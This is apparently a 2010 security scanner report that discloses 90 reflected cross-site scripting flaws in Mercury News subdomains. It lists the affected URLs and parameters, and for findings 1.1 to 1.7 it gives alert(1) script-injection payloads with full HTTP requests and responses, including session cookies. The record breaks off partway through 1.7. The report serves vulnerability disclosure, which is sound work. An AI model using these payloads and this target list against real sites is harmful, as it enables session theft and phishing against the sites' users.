xCross Site Scripting in Mercurynews Web Properties, Unforgivable Vulnerabilities

Cross Site Scripting in Mercurynews Web Properties

Novermber 14, 2010 | This is a Private Report | Hoyt LLC | http://hoyt.net

Report generated by Hoyt LLC Research at Sun Nov 14 20:15:44 CST 2010.


Cross Site Scripting Reports | Hoyt LLC Research

Loading

1. Cross-site scripting (reflected)

1.1. http://events.mercurynews.com/ [name of an arbitrarily supplied request parameter]

1.2. http://events.mercurynews.com/movies [name of an arbitrarily supplied request parameter]

1.3. http://events.mercurynews.com/performers [name of an arbitrarily supplied request parameter]

1.4. http://events.mercurynews.com/restaurants [name of an arbitrarily supplied request parameter]

1.5. http://events.mercurynews.com/venues [name of an arbitrarily supplied request parameter]

1.6. http://forums.mercurynews.com/ [name of an arbitrarily supplied request parameter]

1.7. http://forums.mercurynews.com/forum/576 [REST URL parameter 1]

1.8. http://forums.mercurynews.com/forum/576 [REST URL parameter 2]

1.9. http://forums.mercurynews.com/forum/576 [name of an arbitrarily supplied request parameter]

1.10. http://forums.mercurynews.com/forum/business-technology-business-news [REST URL parameter 1]

1.11. http://forums.mercurynews.com/forum/business-technology-business-news [REST URL parameter 2]

1.12. http://forums.mercurynews.com/forum/business-technology-business-news [name of an arbitrarily supplied request parameter]

1.13. http://forums.mercurynews.com/forum/news [REST URL parameter 1]

1.14. http://forums.mercurynews.com/forum/news [REST URL parameter 2]

1.15. http://forums.mercurynews.com/forum/news [name of an arbitrarily supplied request parameter]

1.16. http://forums.mercurynews.com/forums/forum/602 [REST URL parameter 1]

1.17. http://forums.mercurynews.com/forums/forum/602 [REST URL parameter 2]

1.18. http://forums.mercurynews.com/forums/forum/602 [REST URL parameter 3]

1.19. http://forums.mercurynews.com/forums/forum/673 [REST URL parameter 1]

1.20. http://forums.mercurynews.com/forums/forum/673 [REST URL parameter 2]

1.21. http://forums.mercurynews.com/forums/forum/673 [REST URL parameter 3]

1.22. http://forums.mercurynews.com/forums/jrss/forum/602/5 [REST URL parameter 1]

1.23. http://forums.mercurynews.com/forums/jrss/forum/602/5 [REST URL parameter 2]

1.24. http://forums.mercurynews.com/forums/jrss/forum/602/5 [REST URL parameter 3]

1.25. http://forums.mercurynews.com/forums/jrss/forum/602/5 [REST URL parameter 4]

1.26. http://forums.mercurynews.com/forums/jrss/forum/602/5 [callback parameter]

1.27. http://forums.mercurynews.com/forums/jrss/forum/602/5 [js_param1 parameter]

1.28. http://forums.mercurynews.com/forums/poll [REST URL parameter 1]

1.29. http://forums.mercurynews.com/forums/poll [REST URL parameter 2]

1.30. http://forums.mercurynews.com/forums/syndication/jsonXmlToHtml.js [REST URL parameter 1]

1.31. http://forums.mercurynews.com/forums/syndication/jsonXmlToHtml.js [REST URL parameter 2]

1.32. http://forums.mercurynews.com/forums/syndication/jsonXmlToHtml.js [REST URL parameter 3]

1.33. http://forums.mercurynews.com/jrss/forum/602/5 [REST URL parameter 1]

1.34. http://forums.mercurynews.com/jrss/forum/602/5 [REST URL parameter 2]

1.35. http://forums.mercurynews.com/jrss/forum/602/5 [REST URL parameter 3]

1.36. http://forums.mercurynews.com/poll [REST URL parameter 1]

1.37. http://forums.mercurynews.com/poll [name of an arbitrarily supplied request parameter]

1.38. http://forums.mercurynews.com/poll/are-medical-marijuana-clubs-a-huge-problem-in-santa-clara-county [REST URL parameter 1]

1.39. http://forums.mercurynews.com/poll/are-medical-marijuana-clubs-a-huge-problem-in-santa-clara-county [REST URL parameter 2]

1.40. http://forums.mercurynews.com/poll/are-medical-marijuana-clubs-a-huge-problem-in-santa-clara-county [name of an arbitrarily supplied request parameter]

1.41. http://forums.mercurynews.com/syndication/jsonXmlToHtml.js [REST URL parameter 1]

1.42. http://forums.mercurynews.com/syndication/jsonXmlToHtml.js [REST URL parameter 2]

1.43. http://forums.mercurynews.com/topic/40th-annivesary-celebration-post-your-memorable-moments-at-childrens-musical-theatre-san-jose [REST URL parameter 1]

1.44. http://forums.mercurynews.com/topic/40th-annivesary-celebration-post-your-memorable-moments-at-childrens-musical-theatre-san-jose [REST URL parameter 2]

1.45. http://forums.mercurynews.com/topic/40th-annivesary-celebration-post-your-memorable-moments-at-childrens-musical-theatre-san-jose [name of an arbitrarily supplied request parameter]

1.46. http://forums.mercurynews.com/topic/645-sri-lanka-and-thailand-9-1-2010 [REST URL parameter 1]

1.47. http://forums.mercurynews.com/topic/645-sri-lanka-and-thailand-9-1-2010 [REST URL parameter 2]

1.48. http://forums.mercurynews.com/topic/645-sri-lanka-and-thailand-9-1-2010 [name of an arbitrarily supplied request parameter]

1.49. http://forums.mercurynews.com/topic/about-gold-price-and-inflation [REST URL parameter 1]

1.50. http://forums.mercurynews.com/topic/about-gold-price-and-inflation [REST URL parameter 2]

1.51. http://forums.mercurynews.com/topic/about-gold-price-and-inflation [name of an arbitrarily supplied request parameter]

1.52. http://forums.mercurynews.com/topic/al-qaida-is-us-puppet [REST URL parameter 1]

1.53. http://forums.mercurynews.com/topic/al-qaida-is-us-puppet [REST URL parameter 2]

1.54. http://forums.mercurynews.com/topic/al-qaida-is-us-puppet [name of an arbitrarily supplied request parameter]

1.55. http://forums.mercurynews.com/topic/bp-oil-spill-was-created-to-push-war-on-iran [REST URL parameter 1]

1.56. http://forums.mercurynews.com/topic/bp-oil-spill-was-created-to-push-war-on-iran [REST URL parameter 2]

1.57. http://forums.mercurynews.com/topic/bp-oil-spill-was-created-to-push-war-on-iran [name of an arbitrarily supplied request parameter]

1.58. http://forums.mercurynews.com/topic/ferret-theory-lv [REST URL parameter 1]

1.59. http://forums.mercurynews.com/topic/ferret-theory-lv [REST URL parameter 2]

1.60. http://forums.mercurynews.com/topic/ferret-theory-lv [name of an arbitrarily supplied request parameter]

1.61. http://forums.mercurynews.com/topic/oil-and-iran-war [REST URL parameter 1]

1.62. http://forums.mercurynews.com/topic/oil-and-iran-war [REST URL parameter 2]

1.63. http://forums.mercurynews.com/topic/oil-and-iran-war [name of an arbitrarily supplied request parameter]

1.64. http://forums.mercurynews.com/topic/oil-price-and-iran-war [REST URL parameter 1]

1.65. http://forums.mercurynews.com/topic/oil-price-and-iran-war [REST URL parameter 2]

1.66. http://forums.mercurynews.com/topic/oil-price-and-iran-war [name of an arbitrarily supplied request parameter]

1.67. http://forums.mercurynews.com/topic/pentagon-cant-explain-missile-off-california [REST URL parameter 1]

1.68. http://forums.mercurynews.com/topic/pentagon-cant-explain-missile-off-california [REST URL parameter 2]

1.69. http://forums.mercurynews.com/topic/pentagon-cant-explain-missile-off-california [name of an arbitrarily supplied request parameter]

1.70. http://forums.mercurynews.com/topic/supreme-court-wont-halt-enforcement-of-dont-ask-dont-tell-policy [REST URL parameter 1]

1.71. http://forums.mercurynews.com/topic/supreme-court-wont-halt-enforcement-of-dont-ask-dont-tell-policy [REST URL parameter 2]

1.72. http://forums.mercurynews.com/topic/supreme-court-wont-halt-enforcement-of-dont-ask-dont-tell-policy [name of an arbitrarily supplied request parameter]

1.73. http://forums.mercurynews.com/topic/war-crisis-in-september [REST URL parameter 1]

1.74. http://forums.mercurynews.com/topic/war-crisis-in-september [REST URL parameter 2]

1.75. http://forums.mercurynews.com/topic/war-crisis-in-september [name of an arbitrarily supplied request parameter]

1.76. http://forums.mercurynews.com/xml/comments [REST URL parameter 1]

1.77. http://forums.mercurynews.com/xml/comments [REST URL parameter 2]

1.78. http://forums.mercurynews.com/xml/comments [name of an arbitrarily supplied request parameter]

1.79. http://forums.mercurynews.com/xml/poll-link [REST URL parameter 1]

1.80. http://forums.mercurynews.com/xml/poll-link [REST URL parameter 2]

1.81. http://forums.mercurynews.com/xml/poll-link [name of an arbitrarily supplied request parameter]

1.82. http://newspaperads.mercurynews.com/FSI/Page.aspx [version parameter]

1.83. https://secure.www.mercurynews.com/portlet/registration/html/info.jsp [rFreeForm parameter]

1.84. https://secure.www.mercurynews.com/registration/ [rPage parameter]

1.85. https://secure.www.mercurynews.com/registration/ [url parameter]

1.86. http://weather.mercurynews.com/cgi-bin/findweather/getForecast [brand parameter]

1.87. http://www.mercurynews.com/mngi/tracking/track [c parameter]

1.88. http://www.mercurynews.com/mngi/tracking/track [n parameter]

1.89. http://www.mercurynews.com/mngi/tracking/track [s parameter]

1.90. http://www.mercurynews.com/mngi/tracking/track [t parameter]



1. Cross-site scripting (reflected)
There are 90 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://events.mercurynews.com/ [name of an arbitrarily supplied request parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://events.mercurynews.com
Path:   /

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8ac11"><script>alert(1)</script>811b9446da5 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /?8ac11"><script>alert(1)</script>811b9446da5=1 HTTP/1.1
Host: events.mercurynews.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.6.39
Date: Sun, 14 Nov 2010 23:11:23 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
X-Rack-Cache: miss
X-HTTP_CLIENT_IP_O: 174.122.23.218
X-Runtime: 42
ETag: "2aff5497e3b5794850e510b692b9bed9"
Cache-Control: private, max-age=0, must-revalidate
Set-Cookie: welcome=6X8sDNEAER_0Ouv71eRO3g.93565265; path=/; expires=Mon, 14-Nov-2011 23:11:23 GMT
Set-Cookie: zvents_tracker_sid=6X8sDNEAER_0Ouv71eRO3g.93565265; path=/; expires=Mon, 14-Nov-2011 23:11:23 GMT
Set-Cookie: _zsess=BAh7BzoPc2Vzc2lvbl9pZCIlYWMzOWQzMDcxMGYzOGRmMDYyNDZkY2U5NWI4N2ExYzYiDWxvY2F0aW9uexAiCWNpdHkiDVNhbiBKb3NlIgtyYWRpdXNpHiINbGF0aXR1ZGVmGjM3LjMxNjQ5OTk5OTk5OTk5OACXjSIKZXJyb3JGIhJkaXN0YW5jZV91bml0IgptaWxlcyITZGlzcGxheV9zdHJpbmciEVNhbiBKb3NlLCBDQSINdGltZXpvbmUiGEFtZXJpY2EvTG9zX0FuZ2VsZXMiDGNvdW50cnkiElVuaXRlZCBTdGF0ZXMiDmxvbmdpdHVkZWYQLTEyMS44NzQALQ4iEXdoZXJlX3N0cmluZ0ASIgpzdGF0ZSIHQ0E%3D--73f95738d783d27b1e2bf4d6149a7fa91a710ab1; path=/; expires=Mon, 14-Feb-2011 23:11:23 GMT; HttpOnly
Content-Length: 73983

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en">
<head>
<meta http-equiv
...[SNIP]...
<meta property="og:url" content="http://www.zvents.com/?8ac11"><script>alert(1)</script>811b9446da5=1" />
...[SNIP]...

1.2. http://events.mercurynews.com/movies [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://events.mercurynews.com
Path:   /movies

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bca30"><script>alert(1)</script>9fc7022dbe7 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /movies?bca30"><script>alert(1)</script>9fc7022dbe7=1 HTTP/1.1
Host: events.mercurynews.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ZZRDB162,570,21=1; ZZFLSH=29; s_cc=true; zvents_tracker_sid=L_surqrJ_TtgeiTUn7vSyg.93565011; _zsess=BAh7BzoPc2Vzc2lvbl9pZCIlM2Q1MTFiYWE1OGUyOTlkOGNiMzQ1ZTQxZDhkZmFhZmUiDWxvY2F0aW9uexAiC3JhZGl1c2keIgljaXR5Ig1TYW4gSm9zZSIKZXJyb3JGIg1sYXRpdHVkZWYaMzcuMzE2NDk5OTk5OTk5OTk4AJeNIg10aW1lem9uZSIYQW1lcmljYS9Mb3NfQW5nZWxlcyITZGlzcGxheV9zdHJpbmciEVNhbiBKb3NlLCBDQSISZGlzdGFuY2VfdW5pdCIKbWlsZXMiDGNvdW50cnkiElVuaXRlZCBTdGF0ZXMiDmxvbmdpdHVkZWYQLTEyMS44NzQALQ4iEXdoZXJlX3N0cmluZ0ASIgpzdGF0ZSIHQ0E%3D--15608a1ab545c581dffcd09fee6db6e51e073270; s_sq=%5B%5BB%5D%5D; welcome=L_surqrJ_TtgeiTUn7vSyg.93565011; __qca=P0-1453715116-1289775685507;

Response

HTTP/1.1 200 OK
Server: nginx/0.6.39
Date: Mon, 15 Nov 2010 02:04:53 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
X-Rack-Cache: miss
X-HTTP_CLIENT_IP_O: 174.122.23.218
X-Runtime: 23
ETag: "bcb7e2c2be4eec9f2ac821e832d643d0"
Cache-Control: must-revalidate, private, max-age=0
Set-Cookie: _zsess=BAh7BzoPc2Vzc2lvbl9pZCIlM2Q1MTFiYWE1OGUyOTlkOGNiMzQ1ZTQxZDhkZmFhZmUiDWxvY2F0aW9uexAiCWNpdHkiDVNhbiBKb3NlIgtyYWRpdXNpHiINbGF0aXR1ZGVmGjM3LjMxNjQ5OTk5OTk5OTk5OACXjSIKZXJyb3JGIhJkaXN0YW5jZV91bml0IgptaWxlcyITZGlzcGxheV9zdHJpbmciEVNhbiBKb3NlLCBDQSINdGltZXpvbmUiGEFtZXJpY2EvTG9zX0FuZ2VsZXMiDGNvdW50cnkiElVuaXRlZCBTdGF0ZXMiDmxvbmdpdHVkZWYQLTEyMS44NzQALQ4iEXdoZXJlX3N0cmluZ0ASIgpzdGF0ZSIHQ0E%3D--b4a5a2069ac2cede71eeab9881eb479f97db86d4; path=/; expires=Tue, 15-Feb-2011 02:04:53 GMT; HttpOnly
Content-Length: 48358

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en">
<head>
<meta http-equiv
...[SNIP]...
<meta property="og:url" content="http://www.zvents.com/movies?bca30"><script>alert(1)</script>9fc7022dbe7=1" />
...[SNIP]...

1.3. http://events.mercurynews.com/performers [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://events.mercurynews.com
Path:   /performers

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload aa537"><script>alert(1)</script>081b4c1c4b2 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /performers?aa537"><script>alert(1)</script>081b4c1c4b2=1 HTTP/1.1
Host: events.mercurynews.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ZZRDB162,570,21=1; ZZFLSH=29; s_cc=true; zvents_tracker_sid=L_surqrJ_TtgeiTUn7vSyg.93565011; _zsess=BAh7BzoPc2Vzc2lvbl9pZCIlM2Q1MTFiYWE1OGUyOTlkOGNiMzQ1ZTQxZDhkZmFhZmUiDWxvY2F0aW9uexAiC3JhZGl1c2keIgljaXR5Ig1TYW4gSm9zZSIKZXJyb3JGIg1sYXRpdHVkZWYaMzcuMzE2NDk5OTk5OTk5OTk4AJeNIg10aW1lem9uZSIYQW1lcmljYS9Mb3NfQW5nZWxlcyITZGlzcGxheV9zdHJpbmciEVNhbiBKb3NlLCBDQSISZGlzdGFuY2VfdW5pdCIKbWlsZXMiDGNvdW50cnkiElVuaXRlZCBTdGF0ZXMiDmxvbmdpdHVkZWYQLTEyMS44NzQALQ4iEXdoZXJlX3N0cmluZ0ASIgpzdGF0ZSIHQ0E%3D--15608a1ab545c581dffcd09fee6db6e51e073270; s_sq=%5B%5BB%5D%5D; welcome=L_surqrJ_TtgeiTUn7vSyg.93565011; __qca=P0-1453715116-1289775685507;

Response

HTTP/1.1 200 OK
Server: nginx/0.6.39
Date: Mon, 15 Nov 2010 02:05:16 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
X-Rack-Cache: miss
X-HTTP_CLIENT_IP_O: 174.122.23.218
X-Runtime: 31
ETag: "9376e5670915f5b3f41a4aa68c646341"
Cache-Control: must-revalidate, private, max-age=0
Set-Cookie: _zsess=BAh7BzoPc2Vzc2lvbl9pZCIlM2Q1MTFiYWE1OGUyOTlkOGNiMzQ1ZTQxZDhkZmFhZmUiDWxvY2F0aW9uexAiCWNpdHkiDVNhbiBKb3NlIgtyYWRpdXNpHiINbGF0aXR1ZGVmGjM3LjMxNjQ5OTk5OTk5OTk5OACXjSIKZXJyb3JGIhJkaXN0YW5jZV91bml0IgptaWxlcyITZGlzcGxheV9zdHJpbmciEVNhbiBKb3NlLCBDQSINdGltZXpvbmUiGEFtZXJpY2EvTG9zX0FuZ2VsZXMiDGNvdW50cnkiElVuaXRlZCBTdGF0ZXMiDmxvbmdpdHVkZWYQLTEyMS44NzQALQ4iEXdoZXJlX3N0cmluZ0ASIgpzdGF0ZSIHQ0E%3D--b4a5a2069ac2cede71eeab9881eb479f97db86d4; path=/; expires=Tue, 15-Feb-2011 02:05:16 GMT; HttpOnly
Content-Length: 50288

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en">
<head>
<meta http-equiv
...[SNIP]...
<meta property="og:url" content="http://www.zvents.com/performers?aa537"><script>alert(1)</script>081b4c1c4b2=1" />
...[SNIP]...

1.4. http://events.mercurynews.com/restaurants [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://events.mercurynews.com
Path:   /restaurants

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 33257"><script>alert(1)</script>16f8b094cda was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /restaurants?33257"><script>alert(1)</script>16f8b094cda=1 HTTP/1.1
Host: events.mercurynews.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ZZRDB162,570,21=1; ZZFLSH=29; s_cc=true; zvents_tracker_sid=L_surqrJ_TtgeiTUn7vSyg.93565011; _zsess=BAh7BzoPc2Vzc2lvbl9pZCIlM2Q1MTFiYWE1OGUyOTlkOGNiMzQ1ZTQxZDhkZmFhZmUiDWxvY2F0aW9uexAiC3JhZGl1c2keIgljaXR5Ig1TYW4gSm9zZSIKZXJyb3JGIg1sYXRpdHVkZWYaMzcuMzE2NDk5OTk5OTk5OTk4AJeNIg10aW1lem9uZSIYQW1lcmljYS9Mb3NfQW5nZWxlcyITZGlzcGxheV9zdHJpbmciEVNhbiBKb3NlLCBDQSISZGlzdGFuY2VfdW5pdCIKbWlsZXMiDGNvdW50cnkiElVuaXRlZCBTdGF0ZXMiDmxvbmdpdHVkZWYQLTEyMS44NzQALQ4iEXdoZXJlX3N0cmluZ0ASIgpzdGF0ZSIHQ0E%3D--15608a1ab545c581dffcd09fee6db6e51e073270; s_sq=%5B%5BB%5D%5D; welcome=L_surqrJ_TtgeiTUn7vSyg.93565011; __qca=P0-1453715116-1289775685507;

Response

HTTP/1.1 200 OK
Server: nginx/0.6.39
Date: Mon, 15 Nov 2010 02:05:11 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
X-Rack-Cache: miss
X-HTTP_CLIENT_IP_O: 174.122.23.218
X-Runtime: 26
ETag: "4b9a2c25a7455fd486c0a373edd1cb25"
Cache-Control: must-revalidate, private, max-age=0
Set-Cookie: _zsess=BAh7BzoPc2Vzc2lvbl9pZCIlM2Q1MTFiYWE1OGUyOTlkOGNiMzQ1ZTQxZDhkZmFhZmUiDWxvY2F0aW9uexAiCWNpdHkiDVNhbiBKb3NlIgtyYWRpdXNpHiINbGF0aXR1ZGVmGjM3LjMxNjQ5OTk5OTk5OTk5OACXjSIKZXJyb3JGIhJkaXN0YW5jZV91bml0IgptaWxlcyITZGlzcGxheV9zdHJpbmciEVNhbiBKb3NlLCBDQSINdGltZXpvbmUiGEFtZXJpY2EvTG9zX0FuZ2VsZXMiDGNvdW50cnkiElVuaXRlZCBTdGF0ZXMiDmxvbmdpdHVkZWYQLTEyMS44NzQALQ4iEXdoZXJlX3N0cmluZ0ASIgpzdGF0ZSIHQ0E%3D--b4a5a2069ac2cede71eeab9881eb479f97db86d4; path=/; expires=Tue, 15-Feb-2011 02:05:11 GMT; HttpOnly
Content-Length: 62158

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en">
<head>
<meta http-equiv
...[SNIP]...
<meta property="og:url" content="http://www.zvents.com/restaurants?33257"><script>alert(1)</script>16f8b094cda=1" />
...[SNIP]...

1.5. http://events.mercurynews.com/venues [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://events.mercurynews.com
Path:   /venues

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 305e4"><script>alert(1)</script>1a2aba766b3 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /venues?305e4"><script>alert(1)</script>1a2aba766b3=1 HTTP/1.1
Host: events.mercurynews.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ZZRDB162,570,21=1; ZZFLSH=29; s_cc=true; zvents_tracker_sid=L_surqrJ_TtgeiTUn7vSyg.93565011; _zsess=BAh7BzoPc2Vzc2lvbl9pZCIlM2Q1MTFiYWE1OGUyOTlkOGNiMzQ1ZTQxZDhkZmFhZmUiDWxvY2F0aW9uexAiC3JhZGl1c2keIgljaXR5Ig1TYW4gSm9zZSIKZXJyb3JGIg1sYXRpdHVkZWYaMzcuMzE2NDk5OTk5OTk5OTk4AJeNIg10aW1lem9uZSIYQW1lcmljYS9Mb3NfQW5nZWxlcyITZGlzcGxheV9zdHJpbmciEVNhbiBKb3NlLCBDQSISZGlzdGFuY2VfdW5pdCIKbWlsZXMiDGNvdW50cnkiElVuaXRlZCBTdGF0ZXMiDmxvbmdpdHVkZWYQLTEyMS44NzQALQ4iEXdoZXJlX3N0cmluZ0ASIgpzdGF0ZSIHQ0E%3D--15608a1ab545c581dffcd09fee6db6e51e073270; s_sq=%5B%5BB%5D%5D; welcome=L_surqrJ_TtgeiTUn7vSyg.93565011; __qca=P0-1453715116-1289775685507;

Response

HTTP/1.1 200 OK
Server: nginx/0.6.39
Date: Mon, 15 Nov 2010 02:05:09 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
X-Rack-Cache: miss
X-HTTP_CLIENT_IP_O: 174.122.23.218
X-Runtime: 24
ETag: "ae8f296626583360b038a50f39b5bec3"
Cache-Control: must-revalidate, private, max-age=0
Set-Cookie: _zsess=BAh7BzoPc2Vzc2lvbl9pZCIlM2Q1MTFiYWE1OGUyOTlkOGNiMzQ1ZTQxZDhkZmFhZmUiDWxvY2F0aW9uexAiCWNpdHkiDVNhbiBKb3NlIgtyYWRpdXNpHiINbGF0aXR1ZGVmGjM3LjMxNjQ5OTk5OTk5OTk5OACXjSIKZXJyb3JGIhJkaXN0YW5jZV91bml0IgptaWxlcyITZGlzcGxheV9zdHJpbmciEVNhbiBKb3NlLCBDQSINdGltZXpvbmUiGEFtZXJpY2EvTG9zX0FuZ2VsZXMiDGNvdW50cnkiElVuaXRlZCBTdGF0ZXMiDmxvbmdpdHVkZWYQLTEyMS44NzQALQ4iEXdoZXJlX3N0cmluZ0ASIgpzdGF0ZSIHQ0E%3D--b4a5a2069ac2cede71eeab9881eb479f97db86d4; path=/; expires=Tue, 15-Feb-2011 02:05:09 GMT; HttpOnly
Content-Length: 53864

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en">
<head>
<meta http-equiv
...[SNIP]...
<meta property="og:url" content="http://www.zvents.com/venues?305e4"><script>alert(1)</script>1a2aba766b3=1" />
...[SNIP]...

1.6. http://forums.mercurynews.com/ [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://forums.mercurynews.com
Path:   /

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 91e58"-alert(1)-"da78a3fd75c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /?91e58"-alert(1)-"da78a3fd75c=1 HTTP/1.1
Host: forums.mercurynews.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 14 Nov 2010 23:11:57 GMT
Server: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.6
X-Powered-By: PHP/5.2.6
Set-Cookie: SESS7d37fc218a44afb27b49a326af87a923=6ec373c57579c10d331d00c8ebed1d1d; expires=Wed, 08 Dec 2010 02:45:17 GMT; path=/; domain=.forums.mercurynews.com
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Sun, 14 Nov 2010 23:12:21 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 50878

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title
...[SNIP]...
pt language="JavaScript">
if (typeof s != 'undefined') {
   s.pageName="";
   s.channel="Forums";
   s.prop1="Home";
   s.prop2=s.prop1 + " / Opinion";
   s.prop3=s.prop2 + " / Forums";
   s.prop4=s.prop3 + " / ?91e58"-alert(1)-"da78a3fd75c=1";
   s.prop9=getCiQueryString("SOURCE");
   s.campaign=getCiQueryString("EADID")+getCiQueryString("CREF");
   s.events="event1";
   s.eVar2=getCiQueryString("SOURCE");
   s.eVar4=s.pageName;
   s.campaign=getCi
...[SNIP]...

1.7. http://forums.mercurynews.com/forum/576 [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://forums.mercurynews.com
Path:   /forum/576

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 45812"-alert(1)-"613868a3771 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /forum45812"-alert(1)-"613868a3771/576 HTTP/1.1
Host: forums.mercurynews.com
